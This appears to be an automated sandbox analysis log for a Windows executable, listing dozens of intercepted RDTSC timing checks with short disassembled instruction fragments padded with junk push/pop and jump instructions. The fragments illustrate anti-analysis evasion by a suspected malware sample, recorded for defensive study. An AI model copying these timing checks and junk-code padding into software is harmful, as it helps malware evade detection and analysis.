Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF97C second address: 69A6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jne 00007F6254B873EBh 0x0000000f call dword ptr [ebp+122D1CC1h] 0x00000015 pushad 0x00000016 jmp 00007F6254B873F9h 0x0000001b push eax 0x0000001c push edx 0x0000001d jng 00007F6254B873E6h 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0300 second address: 6C0323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F6254D230B6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F6254D230C5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0709 second address: 6C070D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C070D second address: 6C072D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F6254D230C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C072D second address: 6C0757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov cl, 0Ah 0x0000000c push 0000001Eh 0x0000000e mov ecx, edi 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6254B873EDh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0B33 second address: 6C0B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0B37 second address: 6C0B3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F424A second address: 6F427D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C9h 0x00000007 jmp 00007F6254D230C2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F43E9 second address: 6F43F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F46A2 second address: 6F46AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F47FD second address: 6F4816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F6254B873E6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4816 second address: 6F481A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F481A second address: 6F4820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBE76 second address: 6FBE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F6254D230C9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBE96 second address: 6FBEAF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6254B873EFh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBEAF second address: 6FBEB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA80A second address: 6FA810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA810 second address: 6FA819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA819 second address: 6FA81F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA81F second address: 6FA827 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA9C0 second address: 6FA9C5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA9C5 second address: 6FA9DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007F6254D230BCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAAFF second address: 6FAB03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAF26 second address: 6FAF2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAF2C second address: 6FAF32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FAF32 second address: 6FAF36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB214 second address: 6FB23C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873F5h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 jns 00007F6254B873E6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB23C second address: 6FB244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB535 second address: 6FB53D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB53D second address: 6FB58B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6254D230C9h 0x00000008 jmp 00007F6254D230C3h 0x0000000d jmp 00007F6254D230C4h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jnp 00007F6254D230B6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB6FE second address: 6FB704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB704 second address: 6FB709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB709 second address: 6FB740 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254B873EEh 0x00000007 pushad 0x00000008 jmp 00007F6254B873F7h 0x0000000d jmp 00007F6254B873EDh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB8C7 second address: 6FB8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FB8CD second address: 6FB8D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F6254B873E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBCD1 second address: 6FBCD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBCD5 second address: 6FBCD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBCD9 second address: 6FBCE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FBCE2 second address: 6FBCE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700BEA second address: 700C00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6254D230C1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700397 second address: 7003B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6254B873F9h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703BC9 second address: 703C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jns 00007F6254D230B6h 0x0000000e jmp 00007F6254D230C7h 0x00000013 popad 0x00000014 pop ecx 0x00000015 pushad 0x00000016 jmp 00007F6254D230C7h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push esi 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6779F9 second address: 6779FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706409 second address: 70640D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70640D second address: 70641B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7066AC second address: 7066B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7066B2 second address: 7066E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F6254B87400h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6254B873EAh 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D108 second address: 70D135 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C2h 0x00000007 jmp 00007F6254D230C7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D135 second address: 70D145 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F6254B873E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D5EF second address: 70D602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007F6254D230B6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D602 second address: 70D606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D606 second address: 70D61D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F6254D230B6h 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D61D second address: 70D631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873ECh 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70DA3E second address: 70DA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713645 second address: 713677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254B873F3h 0x00000009 popad 0x0000000a pushad 0x0000000b jnl 00007F6254B873E6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007F6254B873EEh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713677 second address: 71368F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C3h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7128B7 second address: 7128BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7128BB second address: 7128D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7128D8 second address: 712906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6254B873EFh 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jmp 00007F6254B873F3h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712906 second address: 71290A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71290A second address: 71290E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71290E second address: 71291D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F6254D230B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712A58 second address: 712A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6254B873E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712A63 second address: 712A73 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6254D230B8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712A73 second address: 712A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 712D8F second address: 712D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7131E6 second address: 7131EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7131EA second address: 7131EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7131EE second address: 7131F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7131F4 second address: 71321C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6254D230C8h 0x00000008 jng 00007F6254D230B6h 0x0000000e push eax 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71321C second address: 713220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716016 second address: 71601C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71601C second address: 716047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F6254B873F6h 0x0000000d jmp 00007F6254B873EBh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716327 second address: 716333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6254D230B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716333 second address: 71634B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6254B873F3h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E58E second address: 71E5A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5A9 second address: 71E5D0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6254B873E6h 0x00000008 jc 00007F6254B873E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F6254B873F2h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5D0 second address: 71E5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F6254D230C0h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E5EB second address: 71E613 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007F6254B873E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F6254B873F9h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C5D7 second address: 71C606 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6254D230BFh 0x0000000e jo 00007F6254D230BCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C751 second address: 71C757 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D0FE second address: 71D118 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F6254D230B6h 0x00000009 jnl 00007F6254D230B6h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F6254D230B6h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D118 second address: 71D11C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D703 second address: 71D74D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BAh 0x00000007 jmp 00007F6254D230BCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f jg 00007F6254D230FCh 0x00000015 jne 00007F6254D230D5h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D74D second address: 71D751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D751 second address: 71D764 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6254D230BFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DFAA second address: 71DFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6254B873E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F6254B873E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DFBF second address: 71DFC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DFC3 second address: 71DFE1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F6254B873EEh 0x0000000c push edi 0x0000000d pop edi 0x0000000e jnc 00007F6254B873E6h 0x00000014 popad 0x00000015 js 00007F6254B873F4h 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DFE1 second address: 71DFE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E295 second address: 71E2A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E2A1 second address: 71E2B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230C2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E2B7 second address: 71E2BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E2BB second address: 71E2ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007F6254D230BAh 0x00000010 popad 0x00000011 jns 00007F6254D230C9h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E2ED second address: 71E30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F6254B873F6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726C7E second address: 726CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6254D230C4h 0x00000009 pop eax 0x0000000a jnl 00007F6254D230C2h 0x00000010 jnp 00007F6254D230B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DA22 second address: 66DA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DA26 second address: 66DA34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F6254D230B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725EB9 second address: 725EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
